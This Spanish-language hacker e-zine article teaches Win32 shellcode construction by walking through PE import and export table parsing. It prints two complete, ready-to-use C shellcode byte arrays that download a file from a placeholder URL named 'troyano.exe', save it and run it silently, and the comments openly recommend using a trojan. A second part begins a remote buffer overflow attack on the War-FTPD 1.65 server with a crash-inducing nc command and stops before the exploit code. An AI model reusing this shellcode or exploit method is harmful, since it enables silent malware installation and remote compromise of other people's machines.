/* RaiSe/eid0- UNDERSEC Security Team */ /* http://www.undersec.com */ ---- + Indice Global: . Primera parte: 'Shellcodes' (por RaiSe). . Segunda parte: 'Overflows' (por Eid0). ---- [### PRIMERA PARTE ###] ==[ Shellcodes en Win32 ]==================================================== ==[ por RaiSe ]============================================================== -------------- 0.- Indice -------------- 0.- Indice 1.- Introduccion 2.- Scodes en Win32 3.- Breve descripcion del formato PE 4.- Export Table 5.- Ejecutando la shellcode 6.- Shellcodes en formato C 7.- Comentarios 8.- Despedida ---------------------- 1. Introduccion ---------------------- Por fin me he decidido a escribir un articulo sobre shellcodes en win32. Hace ya algun tiempo que saque una shellcode para practicamente cualquier Windows de Microsoft, asi que me basare en ella para escribir este texto. Tengo que aclarar que no soy ningun experto en sistemas operativos Windows, asi que es posible que este documento tenga algun error tecnico (espero que no). Si alguien detecta alguno por favor que me lo haga saber a traves de raise@netsearch-ezine.com. Pues bueno, despues de lo dicho comenzare describiendo un poco por encima la shellcode que analizaremos. Como algunos sabreis el mayor problema de las shellcodes (scodes) en win32 son las direcciones 'hardcodeadas'. Se entiende por direccion hardcodeada aquella que se presupone basandose en datos como el Sistema Operativo, la version de un programa concreto, etc. Lo ideal obviamente es no basarse en ninguna direccion hardcodeada, sino sacar el offset directamente de la imagen del binario en memoria. Sino se hace esto ultimo se corre el riesgo de que muchas veces no funcione la shellcode, o de tener que andar calculando y reescribiendo la scode cada vez que vayamos a progrmar un exploit. Algo muy comodo para el programador seria una scode que no dependiera de ninguna (o casi ninguna) direccion hardcodeada. Dicha scode deberia ser multiplataforma (varios Windows), y que no hiciera falta retocarla para que funcionase. Una forma de hacer esto es (como ya he dicho) sacando las direcciones de la propia imagen del binario en memoria. Ello implica un minimo conocimiento del formato PE (Portable Executable), que es la estructura que llevan los programas en win32. Antes de meternos a fondo con la shellcode hagamos un repaso a la programacion de las mismas en win32. No es que sean muy diferentes a las de Linux, pero tiene unas caracteristicas bastante particulares. ---------------------------- 2.- Scodes en Win32 ---------------------------- Como sabreis las shellcodes en Linux usan las llamadas 'syscalls', que las provee el kernel. Para ello poniamos en los registros los argumentos de la misma, y ejecutabamos la interrupcion 0x80. En win32 no existen syscalls, aqui usaremos las api de Windows, cuyas funciones se encuentran situadas en dlls. La forma de llamar a una funcion es la siguiente: Push argumento2 Push argumento1 Call direccion_funcion Es decir, se usa la pila para colocar los argumentos en orden inverso (el primer argumento de la funcion sera el ultimo en 'pushear'). Esto en realidad es la misma forma de como lo hace Linux con las glibc, y que yo sepa la mayoria de los SO's (al menos en procesadores x86). Pues bien, ahora lo complicado es lo siguiente: como averiguar la direccion de la funcion?. Para resolver dicha cuestion usualmente nos basaremos en las dos siguientes funciones: LoadLibraryA y GetProcAddress. Ambas se encuentran en la dll 'kernel32.dll', incluido en todos los Windows de la familia Microsoft (al menos desde el 95 hasta el XP). La sintaxis de ambas es la siguiente: Direccion_base_libreria = LoadLibraryA("ejemplo.dll"); Direccion_base_funcion1 = GetProcAddress(Direccion_base_libreria, "funcion1"); Es decir, LoadLibraryA carga y nos devuelve la direccion base de una dll. Dicha direccion la usaremos en GetProcAddress para conseguir la direccion de funcion1, incluida en dicha dll. Si la dll ya estuviera cargada en memoria, LoadLibraryA nos devolveria la direccion igualmente. Por cierto, la A de LoadLibraryA es porque esta funcion es la version Ansi de la misma. Algunas funciones tienen version Ansi y version Unicode. Nosotros siempres usaremos las Ansi. Bueno, ya sabemos como cargar dlls, y como recuperar direcciones de funciones de las mismas para poder usarlas en nuestra shellcode. Pero seguimos teniendo un problema, como conseguir las direcciones de esas dos funciones?. Hasta ahora lo que se hacia era conseguir dichas direcciones con un debugger para un SO en concreto, pero esto tiene graves problemas. Y es que los valores de las mismas cambian segun que service pack haya instalado, no sirve para otro SO de la misma familia (ejemplo Windows NT Workstation y Windows NT Server), etc.. Resumiendo, utilizando este metodo no seria una shellcode generica. Hay otros metodos como referenciar dichas direcciones desde la imagen del binario en memoria, pero sin calcularlas en tiempo de ejecucion, sino que hay que meter los valores al programar la shellcode. La ventaja de este metodo es que si funciona en varios Windows, pero no para distintos binarios. Estamos cambiando la dependencia del SO por la dependencia del binario. Este metodo tambien implica la modificacion de la scode cada vez que se programa un exploit, con la consiguiente perdida de tiempo. Como he dicho, lo que buscamos es una shellcode que NO haya que modificar para que funcione, asi que este metodo tampoco nos vale. Entonces, cual es la solucion a todos estos problemas?. Muy sencillo, debido a que la mayoria de los programas para Windows tienen la misma direccion base en memoria (00400000h), deberemos en tiempo de ejecucion rastrear dicha imagen, y movernos a traves del PE para sacar las direcciones. Practicamente el 100% de los programas cargan en memoria la dll 'kernel32', asi que tambien deberemos rastrear dicha dll para conseguir las funciones. Esto lo veremos detenidamente mas adelante :). Ahora, hagamos un breve repaso a las caracteristicas del formato PE que Windows utiliza. --------------------------------------------- 3.- Breve descripcion del formato PE --------------------------------------------- Hay bastantes documentos por ahi que describen en profundidad este formato de ejecutable. No es mi intencion ni mucho menos hacer un analisis exahustivo del mismo, os recomiendo para ello un documento disponible en la web de Microsoft (PECOFF). En este apartado nombrare un poco las secciones que nos interesan para hacer funcionar nuestra shellcode. Pues bueno, para empezar todo ejecutable (ya se una exe o una dll) tiene una direccion base que es donde se carga en memoria. Como ya he comentado en los exe's el 99% de las veces es 00400000h. En las dll's esta direccion varia dependiendo del Sistema Operativo, ServicePacks instalados, etc. Se conoce como direccion RVA (Relative Virtual Address) a un offset que sumado a la direccion base da como resultado el VA (Virtual Address). Un ejemplo sencillo: Ibase (Imagen base abreviado) = 00400000h RVA de Pepe = 200h VA de Pepe = Ibase + RVA = 00400200h El VA es lo que nos interesa para poder llamar a las funciones, ya que haremos 'call VA_Funcion'. Pues bien, a nosotros mas o menos solo nos interesaran las secciones Import Table (itable) y Export Table (etable). La itable contendra informacion de funciones externas residentes en dlls, que se llamaran desde el propio binario. Y la etable todo lo contrario, contendra informacion de funciones internas que seran llamadas desde otro binario o dll. Como habreis podido deducir, lo que haremos sera rastrear la itable del programa vulnerable, y mas tarde la etable de la dll 'kernel32.dll'. Cada tabla contiene entre otras cosas el nombre de la librer­a, numero de funciones que contiene, el nombre de cada funcion, la VA de cada funcion, etc. Para llegar a la itable (y luego a la etable de kernel32.dll) necesitaremos rastrear la imagen del binario en memoria. Seria imposible explicar aqu­ el formato PE completo, asi que os recomiendo un analisis exahustivo de dicho formato para poder seguir lo que hace la shellcode. Aun asi pegare aqui brevemente el formato de la itable y de la etable. Nada mas empezar la imagen nos encontraremos una cabecera y una seccion para hacer compatible el binario con el antiguo formato de MS-DOS. Dicha seccion normalmente lo que hara sera mostrar un mensaje tipo: "Version Incorrecta", y salir del proceso. Justo despues de dicha seccion estara el PE Header. La forma facil de llegar a el es usar un Offset que contendra la direccion relativa del PE Header. Dicho Offset se encuentra al principio de la seccion de MS-DOS Compatible, a 3Ch para ser exactos de 00400000h. Una vez en el PE Header sabemos que la itable comienza a 80h del mismo, asi que ya estaremos en situacion de empezar a explorar :). Una vez situados en la itable nos encontraremos lo siguiente: Directory Table Null Entry DLL1 Import Lookup Table Null DLL2 Import Lookup Table Null .. Hint-Name Table Os estareis preguntando: que narices es todo esto?. Pues varias cosas.. Lo primero que encontramos es el Directory Table, que es una tabla de 20 bytes de longitud que sigue la siguiente estructura: Offset Size Campo Descripcion ------------------------------------------------------------ 0 4 Import Lookup RVA de la Import Lookup Table RVA Table. 4 4 Time/Date Time/data stamp de la DLL. Stamp 8 4 Fowarder Chain Index of first forwarder reference. 12 4 Name RVA RVA del nombre en ascii de la DLL. 16 4 Import Address RVA de la Import Address Table RVA Table. A nosotros solo nos interesan el primer campo, el cuarto y el ultimo. El primero contiene la direccion relativa de la Import Lookup Table, que tiene la siguiente estructura: Bit(s) Size Bit Campo Descripcion ------------------------------------------------------------ 31 / 63 1 Ordinal/Name Si el bit esta seteado, Flag se importa por ordinal. Sino se importa por nombre. 30 - 0 / 31 / Ordinal Number Numero ordinal. 62 - 0 63 30 - 0 / 31 / Hint/Name RVA de la Hint/Name Table 62 - 0 63 Table RVA RVA. Hay dos formas de importar una funcion, por numero ordinal o por el nombre de la misma. Si es por numero ordinal, la lookup table contendra un valor de 32 bits (en la table pone 32 o 64, pero en x86 es de 32) cuyo bit 31 esta seteado. Como los numeros ordinales no suelen tener valores altos, nosotros lo que haremos sera comparar el byte de mas valor con 80h, para saber si es import por ordinal o por nombre. Si el byte 31 esta desactivado, la lookup table contrendra un valor de 32 bits (cuyo bit de mas valor esta a cero) que sera la RVA de la Hint/Name Table, cuya estructura es la siguiente: Offset Size Campo Descripcion ---------------------------------------------------------- 0 2 Hint No nos importa. 2 variable Name String ASCII de la funcion a importar (case sensitive). * 0 or 1 Pad Pad de alineamiento. Es decir, en la VA de Hint/Name Table + 2, estara el string de la funcion a importar. Resumiendo, la shellcode lo que hara sera ir comparando en cada entrada del Directory Table el nombre de la dll para ver si es kernel32.dll, si lo es saltara a la Import Lookup Table. Una vez alli ira comparando cada funcion para ver cual es LoadLibraryA (o GetModuleHandleA, segun la shellcode) mirando el nombre de la misma en la Hint/Name Table, y comprobando primero que no sea importada por ordinal. Una vez que sepamos en que posicion de la Import Lookup Table esta LoadLibraryA, sera la hora de averiguar su direccion VA dentro de la dll. Para eso usaremos la Import Address Table, que no es mas que un array de punteros de 32 bits a las direcciones virtuales (VA) de cada funcion. Por ejemplo, si LoadLibraryA estaba en la posicion 5 de la Import Lookup Table, en la direccion de la Import Address Table + (5*4) estara la VA de la funcion. Una vez tengamos la direccion de LoadLibraryA hacemos un call para sacar la direccion VA de kernel32.dll en memoria: LoadLibraryA("KERNEL32"). Cuando la tengamos habra que sacar la direccion de GetProcAddress de la Export Table de la dll, y una vez la averiguemos, habra que cargar 'wininet.dll', y sacar con un par de bucles las direcciones de cada funcion (usando GetProcAddress). Veamoslo en el siguiente apartado. ---------------------- 4.- Export Table ---------------------- Bueno, pues se supone que ya tenemos la direccion de LoadLibraryA y nos disponemos a rastrear la Export Table. Ya se que hasta aqui es todo muy teorico pero es que sino no se como explicarlo.. Veamos, lo primero es ir a la direccion base de KERNEL32 (que nos la devolvio LoadLibraryA). Una vez alli rastreando el PE Header nos vamos a la Export Table. Nos encontramos esto: Table Name Descripcion --------------------------------------------------------------------- Export Directory Table Informacion muy interesante. Export Address Table Array of RVA's de las funciones. Name Pointer Table Array de punteros a los nombres de las funciones. Ordinal Table Array de ordinales. Export Name Table Cadenas ASCII terminadas en nulls y seguidas en memoria, correspondientes a las funciones (entre otras cosas) a exportar. Pues bien, como veis esto es un tanto lioso de seguir. La Export Address Table contendra las RVA (relativas a la base de la dll) de las funciones a exportar. La Name Pointer Table contendra punteros que estan apuntando cada uno a la Export Name Table, que es la que contiene las cadenas en ascii. Y la Ordinal Table contendra numeros ordinales que serviran de indice en la Export Address Table. Es decir, lo primero seria ir a la Name Pointer Table. De ahi comparar el nombre al que apunta cada puntero con 'GetProcAddress', si coincide usar la posicion en que se encontro en la Ordinal Table a modo de indice. Por ejemplo si GetProcAddress estaba en la posicion 5 de la Name Pointer Table el ordinal estara en la direccion de Ordinal Table + (5*2), ya que los ordinales son de 16 bits. El ordinal que este en esa posicion se usara de indice en la Export Address Table para sacar la RVA de la funcion. La estructura de la Export Directory Table es la siguiente: Offset Size Campo Descripcion ------------------------------------------------------------ 0 4 Export Flags No interesa. 4 4 Time/Date No interesa. Stamp 8 2 Major Version No interesa. 10 2 Minor Version No interesa. 12 4 Name RVA RVA del nombre en ascii de la dll. 16 4 Ordinal Base Ordinal base inicial. Normalmente 1. 20 4 Address Table Numero de entradas en la Entries Export Address Table. 24 4 Number of Name Numero de entradas en la Pointers Name Pointer Table (las mismas que en la Ordinal Table). 28 4 Export Address RVA de la Export Address Table RVA Table. 32 4 Name Pointer RVA de la Export Name RVA Pointer Table. 36 4 Ordinal Table RVA de la Ordinal Table. RVA Usaremos el numero de entradas en la Name Pointer Table para saber cuando debemos parar el bucle. Una vez que tengamos la VA de GetProcAddress procederemos a cargar wininet.dll, y a sacar las siguientes funciones. * Funciones de KERNEL32.dll: . _lcreat . _lwrite . _GlobalAlloc . _lclose . Winexec . ExitProcess * Funciones de WININET.dll: . InternetOpenA . InternetOpenUrlA . InternetReadFile . InternetCloseHandle Despues de tener todas las VA guardadas (usaremos ebp como offset para referenciarlas), podemos empezar a ejecutar la shellcode x fin. ------------------------------------- 5.- Ejecutando la shellcode ------------------------------------- Al fin podemos ejecutar la shellcode propiamente dicha. Lo que hicimos hasta aqui fue recuperar las direcciones de cada funcion. Ahora, resumiendo, veremos lo que hace la scode. . Primero reservamos memoria con GlobalAlloc, 2 Mb y algo para ser exactos. Aqui es donde guardaremos el archivo que leeremos de Internet antes de salvarlo en el disco. La direccion que devuelve la guardamos usando ebp como offset. . Llamamos a InternetOpenA para inicializar la conexion. . Llamamos a InternetOpenUrlA pasandole la direccion exacta para conectar con el server Web. . Llamamos a InternetReadFile y guardamos el archivo en la zona de memoria que reservamos antes con GlobalAlloc. . Cerramos las conexiones con InternetCloseHandle. . Llamamos a _lcreat para crear el archivo en el directorio de trabajo actual. . Lo escribimos con _lwrite y lo cerramos con _lclose. . Ejecutamos en otro proceso el archivo valiendonos de Winexec. . Salimos del proceso padre con ExitProcess para que no de ningun warning el programa vulnerable que explotamos. Finito :). Lo he ultra-resumido porque sino se haria eterno. El que quiera puede bajarse las fuentes en ensamblador con comentarios de la web http://www.undersec.com. Abajo incluyo las dos shellcodes listas para ser usadas en formato C. ------------------------------------- 6.- Shellcodes en formato C ------------------------------------- <++> /* * Shellcode generica en todos los windows de la familia 98/ME/NT/2000/XP * Necesita tener la funcion GetModuleHandleA en la import table * Probabilidades de que funcione: 99,99% * 790 bytes * * Una vez ejecutada se baja el fichero de la URL escogida, lo ejecuta * silenciosamente y sale del proceso original. Dicho fichero puede (y * debe }:) ) ser un troyano. El limite de tama¤o es de 2.2 mb del fichero * a bajar aproximadamente, y se guarda con el nombre 'nssc.exe' en el * ordenador remoto. Lo unico modificable de la shellcode es la URL. */ char scode[] = "\xEB\x30\x5F\xFC\x8B\xF7\x80" "\x3F\x08\x75\x03\x80\x37\x08\x47\x80\x3F\x01\x75\xF2\x8B\xE6\x33\xD2\xB2\x04\xC1" "\xE2\x08\x2B\xE2\x8B\xEC\x33\xD2\xB2\x03\xC1\xE2\x08\x2B\xE2\x54\x5A\xB2\x7C\x8B" "\xE2\xEB\x02\xEB\x57\x89\x75\xFC\x33\xC0\xB4\x40\xC1\xE0\x08\x89\x45\xF8\x8B\x40" "\x3C\x03\x45\xF8\x8D\x40\x7E\x8B\x40\x02\x03\x45\xF8\x8B\xF8\x8B\x7F\x0C\x03\x7D" "\xF8\x81\x3F\x4B\x45\x52\x4E\x74\x07\x83\xC0\x14\x8B\xF8\xEB\xEB\x50\x8B\xF8\x33" "\xC9\x33\xC0\xB1\x10\x8B\x17\x03\x55\xF8\x52\xEB\x03\x57\x8B\xD7\x80\x7A\x03\x80" "\x74\x16\x8B\x32\x03\x75\xF8\x83\xC6\x02\xEB\x02\xEB\x7E\x8B\x7D\xFC\x51\xF3\xA6" "\x59\x5F\x74\x06\x40\x83\xC7\x04\xEB\xDB\x5F\x8B\x7F\x10\x03\x7D\xF8\xC1\xE0\x02" "\x03\xF8\x8B\x07\x8B\x5D\xFC\x8D\x5B\x11\x53\xFF\xD0\x89\x45\xF4\x8B\x40\x3C\x03" "\x45\xF4\x8B\x70\x78\x03\x75\xF4\x8D\x76\x1C\xAD\x03\x45\xF4\x89\x45\xF0\xAD\x03" "\x45\xF4\x89\x45\xEC\xAD\x03\x45\xF4\x89\x45\xE8\x8B\x55\xEC\x8B\x75\xFC\x8D\x76" "\x1E\x33\xDB\x33\xC9\xB1\x0F\x8B\x3A\x03\x7D\xF4\x56\x51\xF3\xA6\x59\x5E\x74\x06" "\x43\x8D\x52\x04\xEB\xED\xD1\xE3\x8B\x75\xE8\x03\xF3\x33\xC9\x66\x8B\x0E\xEB\x02" "\xEB\x7D\xC1\xE1\x02\x03\x4D\xF0\x8B\x09\x03\x4D\xF4\x89\x4D\xE4\x8B\x5D\xFC\x8D" "\x5B\x2D\x33\xC9\xB1\x07\x8D\x7D\xE0\x53\x51\x53\x8B\x55\xF4\x52\x8B\x45\xE4\xFC" "\xFF\xD0\x59\x5B\xFD\xAB\x8D\x64\x24\xF8\x38\x2B\x74\x03\x43\xEB\xF9\x43\xE2\xE1" "\x8B\x45\xE0\x53\xFC\xFF\xD0\xFD\xAB\x33\xC9\xB1\x04\x8D\x5B\x0C\xFC\x53\x51\x53" "\x8B\x55\xC4\x52\x8B\x45\xE4\xFF\xD0\x59\x5B\xFD\xAB\x38\x2B\x74\x03\x43\xEB\xF9" "\x43\xE2\xE5\xFC\x33\xD2\xB6\x1F\xC1\xE2\x08\x52\x33\xD2\x52\x8B\x45\xD4\xFF\xD0" "\x89\x45\xB0\x33\xD2\xEB\x02\xEB\x77\x52\x52\x52\x52\x53\x8B\x45\xC0\xFF\xD0\x8D" "\x5B\x03\x89\x45\xAC\x33\xD2\x52\xB6\x80\xC1\xE2\x10\x52\x33\xD2\x52\x52\x8D\x7B" "\x09\x57\x50\x8B\x45\xBC\xFF\xD0\x89\x45\xA8\x8D\x55\xA0\x52\x33\xD2\xB6\x1F\xC1" "\xE2\x08\x52\x8B\x4D\xB0\x51\x50\x8B\x45\xB8\xFF\xD0\x8B\x4D\xA8\x51\x8B\x45\xB4" "\xFF\xD0\x8B\x4D\xAC\x51\x8B\x45\xB4\xFF\xD0\x33\xD2\x52\x53\x8B\x45\xDC\xFF\xD0" "\x89\x45\xA4\x8B\x7D\xA0\x57\x8B\x55\xB0\x52\x50\x8B\x45\xD8\xFF\xD0\x8B\x55\xA4" "\x52\x8B\x45\xD0\xFF\xD0\xEB\x02\xEB\x12\x33\xD2\x90\x52\x53\x8B\x45\xCC\xFF\xD0" "\x33\xD2\x52\x8B\x45\xC8\xFF\xD0\xE8\xE6\xFD\xFF\xFF\x47\x65\x74\x4D\x6F\x64\x75" "\x6C\x65\x48\x61\x6E\x64\x6C\x65\x41\x08\x6B\x65\x72\x6E\x65\x6C\x33\x32\x2E\x64" "\x6C\x6C\x08\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x08\x4C\x6F" "\x61\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x08\x5F\x6C\x63\x72\x65\x61\x74\x08\x5F" "\x6C\x77\x72\x69\x74\x65\x08\x47\x6C\x6F\x62\x61\x6C\x41\x6C\x6C\x6F\x63\x08\x5F" "\x6C\x63\x6C\x6F\x73\x65\x08\x57\x69\x6E\x45\x78\x65\x63\x08\x45\x78\x69\x74\x50" "\x72\x6F\x63\x65\x73\x73\x08\x77\x69\x6E\x69\x6E\x65\x74\x2E\x64\x6C\x6C\x08\x49" "\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65\x6E\x41\x08\x49\x6E\x74\x65\x72\x6E\x65" "\x74\x4F\x70\x65\x6E\x55\x72\x6C\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x52\x65" "\x61\x64\x46\x69\x6C\x65\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6C\x6F\x73\x65" "\x48\x61\x6E\x64\x6C\x65\x08\x4E\x53\x08\x6E\x73\x73\x63\x2E\x65\x78\x65\x08" "http://www.host.com/troyano.exe" "\x08\x01"; <--> <++> /* * Shellcode generica en todos los windows de la familia98/ME/NT/2000/XP * Necesita tener la funcion LoadLibraryA en la import table * Probabilidades de que funcione: 98% * 710 bytes * * Una vez ejecutada se baja el fichero de la URL escogida, lo ejecuta * silenciosamente y sale del proceso original. Dicho fichero puede (y * debe }:) ) ser un troyano. El limite de tama¤o es de 2.2 mb del fichero * a bajar aproximadamente, y se guarda con el nombre 'x.exe' en el ordenador * remoto. Lo unico modificable de la shellcode es la URL. */ char scode[] = "\xEB\x5D\x5F\x8B\xF7\x80\x3F" "\x08\x75\x03\x80\x37\x08\x47\x80\x3F\x01\x75\xF2\x33\xC9\xB5\x05\x8B\xFE\x2B\xF9" "\x8B\xEF\xB5\x03\x2B\xF9\x8B\xD7\xB2\x7C\x8B\xE2\x89\x75\xFC\xB5\x40\xC1\xE1\x08" "\x89\x4D\xF8\x8D\x49\x3C\x8B\x09\x03\x4D\xF8\x8D\x49\x7F\x41\x8B\x09\x03\x4D\xF8" "\x8B\xD9\x8B\x49\x0C\x03\x4D\xF8\x81\x39\x4B\x45\x52\x4E\x74\x07\x8D\x5B\x14\x8B" "\xCB\xEB\xEB\x33\xC0\x53\xEB\x02\xEB\x7C\x8B\x33\x03\x75\xF8\x80\x7E\x03\x80\x74" "\x14\x8B\x3E\x03\x7D\xF8\x47\x47\x56\x8B\x75\xFC\x33\xC9\xB1\x0D\xF3\xA6\x5E\x74" "\x06\x40\x8D\x76\x04\xEB\xE0\x5B\x8B\x5B\x10\x03\x5D\xF8\xC1\xE0\x02\x03\xD8\x8B" "\x03\x89\x45\xF4\x8B\x5D\xFC\x8D\x5B\x0D\x53\xFF\xD0\x89\x45\xF0\x8D\x5B\x09\x53" "\x8B\x45\xF4\xFF\xD0\x89\x45\xEC\x8B\x45\xF0\x8B\x40\x3C\x03\x45\xF0\x8B\x40\x78" "\x03\x45\xF0\x89\x45\xE8\x8B\x40\x20\x03\x45\xF0\x8D\x7B\x08\x33\xD2\x57\x8B\x30" "\x03\x75\xF0\x33\xC9\xB1\x0F\xF3\xA6\x74\x0B\x5F\xEB\x02\xEB\x7A\x42\x8D\x40\x04" "\xEB\xE7\x8B\x5D\xE8\x33\xC9\x53\x5F\x8B\x7F\x24\x03\x7D\xF0\xD1\xE2\x03\xFA\x66" "\x8B\x0F\x8B\x5B\x1C\x03\x5D\xF0\xC1\xE1\x02\x03\xD9\x8B\x1B\x03\x5D\xF0\x89\x5D" "\xE4\x8B\x55\xFC\x8D\x52\x2D\x8D\x7D\xE0\x33\xC9\xB1\x06\x51\x52\x52\x8B\x75\xF0" "\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB\xF9\x42\xE2\xE8\xB1\x04" "\x51\x52\x52\x8B\x75\xEC\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB" "\xF9\x42\xE2\xE8\xFC\x52\x33\xD2\xB6\x1F\xC1\xE2\x08\x52\x33\xD2\xEB\x02\xEB\x7C" "\x52\x8B\x45\xD8\xFF\xD0\x5B\x89\x45\xB8\x33\xD2\x52\x52\x52\x52\x53\x8B\x45\xC8" "\xFF\xD0\x89\x45\xB4\x8D\x7B\x08\x33\xD2\x52\xB6\x80\xC1\xE2\x10\x52\x33\xD2\x52" "\x52\x57\x50\x8B\x45\xC4\xFF\xD0\x89\x45\xB0\x8D\x55\xAC\x52\x33\xD2\xB6\x1F\xC1" "\xE2\x08\x52\x8B\x4D\xB8\x51\x50\x8B\x45\xC0\xFF\xD0\x8B\x4D\xB0\x51\x8B\x45\xBC" "\xFF\xD0\x8B\x4D\xB4\x51\x8B\x45\xBC\xFF\xD0\x33\xD2\x52\x43\x43\x53\x8B\x45\xE0" "\xFF\xD0\x89\x45\xA8\x8B\x7D\xAC\x57\x8B\x55\xB8\x52\x50\x8B\x45\xDC\xFF\xD0\x8B" "\x55\xA8\xEB\x02\xEB\x17\x52\x8B\x45\xD4\xFF\xD0\x33\xD2\x52\x53\x8B\x45\xD0\xFF" "\xD0\x33\xD2\x52\x8B\x45\xCC\xFF\xD0\xE8\x0D\xFE\xFF\xFF\x4C\x6F\x61\x64\x4C\x69" "\x62\x72\x61\x72\x79\x41\x08\x4B\x45\x52\x4E\x45\x4C\x33\x32\x08\x57\x49\x4E\x49" "\x4E\x45\x54\x08\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x08\x5F" "\x6C\x63\x72\x65\x61\x74\x08\x5F\x6C\x77\x72\x69\x74\x65\x08\x47\x6C\x6F\x62\x61" "\x6C\x41\x6C\x6C\x6F\x63\x08\x5F\x6C\x63\x6C\x6F\x73\x65\x08\x57\x69\x6E\x45\x78" "\x65\x63\x08\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x08\x49\x6E\x74\x65\x72" "\x6E\x65\x74\x4F\x70\x65\x6E\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65" "\x6E\x55\x72\x6C\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x52\x65\x61\x64\x46\x69" "\x6C\x65\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6C\x6F\x73\x65\x48\x61\x6E\x64" "\x6C\x65\x08\x72\x08\x78\x2E\x65\x78\x65\x08" "http://www.host.com/troyano.exe" "\x08\x01"; <--> ------------------------ 7.- Comentarios ------------------------ Antes de finalizar me gustaria comentar varios puntos de la(s) shellcode(s). El primero es el metodo que use para resolver el problema de saber la direccion de los strings en memoria. En linux es muy tipico el metodo siguiente: ** Jmp pepe Maria: pop edi Codigo Pepe: Call maria strings ** De esta forma se sabe exactamente la direccion de los strings. El problema es que si se pone un salto mayor que 7Fh el jmp produce un null (mejor dicho varios). Ya que la instruccion se convierte en: Jmp 00000085h -> Ejemplo La solucion que tome fue poner varios saltos en toda la shellcode. De esta forma quedo algo asi: ** Jmp pepe Lala: pop edi Codigo Jmp maria Pepe: jmp pepe2 Maria: codigo Pepe2: call lala Strings ** De esta forma se consigue ejecutar el call, que al ser negativo puede saltar todos los bytes que se quiera que no incluira nulls, y se evita los mismos en los jmp's. En la scode tuve que poner 4 o 5 instrucciones de ese tipo. Otra cosa a tener en cuenta es que nada mas volver del call, la shellcode cambiara los valores de esp y de ebp, para evitar que al 'pushear' algo se sobreescriba el propio codigo de la scode. Esto es algo muy tipico pero muy util. Tambien hay que decir que el codigo se encuentra bastante optimizado, ya que el tama¤o resultante final es bastante peque¤o, teniendo en cuenta que rastrea la memoria para obtener las direcciones de las funciones, etc. ------------------- 8.- Despedida ------------------- Bueno, pues esto ha llegado a su fin. Creo que no me he saltado nada.. Espero que os haya gustado y esas cosas ;). Ahora os dejo con eid0 que ha escrito un fantastico articulo sobre la explotacion de overflows en Win32, con exploit incluido. Hasta la proxima. RaiSe raise@netsearch-ezine.com [### SEGUNDA PARTE ###] WIN32 SHELLCODES UN ACERCAMIENTO PRACTICO: Exploit Remoto War-Ftpd 1.65 PRESENTACION Hola, este es mi primer articulo para netsearch. Cualquiera que quiera contactar conmigo para hacer comentarios y/o correcciones puede encontrarme pululando en #netsearch como eid0, o via mail en: eid0@micro-electronica.com. Peace & Hack the world!! INTRODUCCION En este art­culo intentare explicar de modo practico la construccion de un exploit remoto por buffer overflow. Para seguirlo es necesario dominar la teoria de buffer overflows, programacion asm en win32, creacion de shellcodes y estar familiarizado con el softice ya que no entrare para nada en estos temas. Si quereis informaros sobre la teoria en que se fundamentan estos ataques en windows, mirad el excelente articulo de Raise. En este articulo nos pelearemos con los problemas practicos, que no son pocos, realizando un xploit remoto para un programa que utiliza SEH para evitar que se vean los segmentation faults. Nuestra victima va a ser el War-ftpd 1.65, es una version antigua pero muy utilizada de este famoso servidor de ftp para windows (aun utiliza alguien windows para servidores? }:D). Por favor, si alguien utiliza este servidor de ftp que se actualice a la ultima version disponible. Si quereis seguir bien este texto necesitareis un linuxete en una maquina que ademas tenga perl y netcat, y en la otra un windows con el warftpd, el softice, y el listdlls. El xploit lo he compilado en linux pero me imagino que compilara en windows sin practicamente modificaciones. El IDA y windisasm no los voy a mencionar pero no estaria mal que lo tuvierais tambien. COMIENZA EL ASEDIO Vale, pues venga, primero tenemos que saber donde encontrar un overflow explotable. A nuestros oidos ha llegado un rumor que dice que lanzando un comando USER con un nombre de esos que utiliza la gente que se cree importante empiezan a pasar cosas raras. Pos fale, probemos: [root@trastu /]# ftp 192.168.0.2 220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready 220 Please enter your user name. Name: JuanJesusmoiseschikitistansebastianfroilandetodoslossantos 331 User name okay, Need password. Password:kaka 421 Password not accepted. Closing control connection. Login failed. Joder, pues no ha pasado nada. Es que uno ya no puede confiar ni en un rumor infundado :D En el display del log del warftpd me sale lo siguiente: (1) [L 2001 10 10 13:37] 00001 JuanJesusmoiseschikitistansebastianfroilan detodoslossantos cntr User from 192.168.0.1 logged out. (2) [C 2001 10 10 13:37] 00001 JuanJesusmoiseschikitistansebastianfroilandetodoslossantos cntr Illegal userid. Login refused. Llamo a mi confidente para decirle que es un mentiroso y tal, y que me devuelva el dinero, entonces me dice que no, que el user ha de ser de gente aun mucho mas importante, bueno, pues pongo las manos en el teclado y le digo al linuz que fuerce un poquito mas la cosa. [root@trastu /]# perl -e 'print "USER ","A"x2000,"\n"' | nc 192.168.0.2 21 220- Jgaa's Fan Club FTP Service WAR-FTPD 1.65 Ready 220 Please enter your user name. 331 User name okay, Need password. <---AQUI PULSAMOS CTRL-C PARA ABORTAR punt! Ostias!, el drwatson con su mensajito de la operacion no admitida. Dice que ha habido un ostiazo en el modulo KERNEL32.DLL en la eip 167:bff87edf , vaya hombre, no nos ha aparecido nuestro querido overflow de pila tradicional de eip=41414141 , sera un overflow de heap de esos tan cabrones de explotar? Hay que investigar... Hacemos peek & poke con el Sice, nos metemos en el kernel32 en la eip ke nos dicen, vemos que estamos en la funcion virtualqueryex y vemos que se ha quedado sin pila, mmmm... esto no huele a heap overflow, esto mas bien parece que alguna funcion ha escrito sobre memoria no paginada y el propio handler de excepcion ha petado por no tener pila suficiente, este windows98.... Si el overflow lo provocamos en un 2000-NT vemos que no ocurre nada, no salta el watson ni nada de nada, con lo que la hipotesis toma consistencia, ya que indica que el S.O. es el que esta provocando la excepcion. 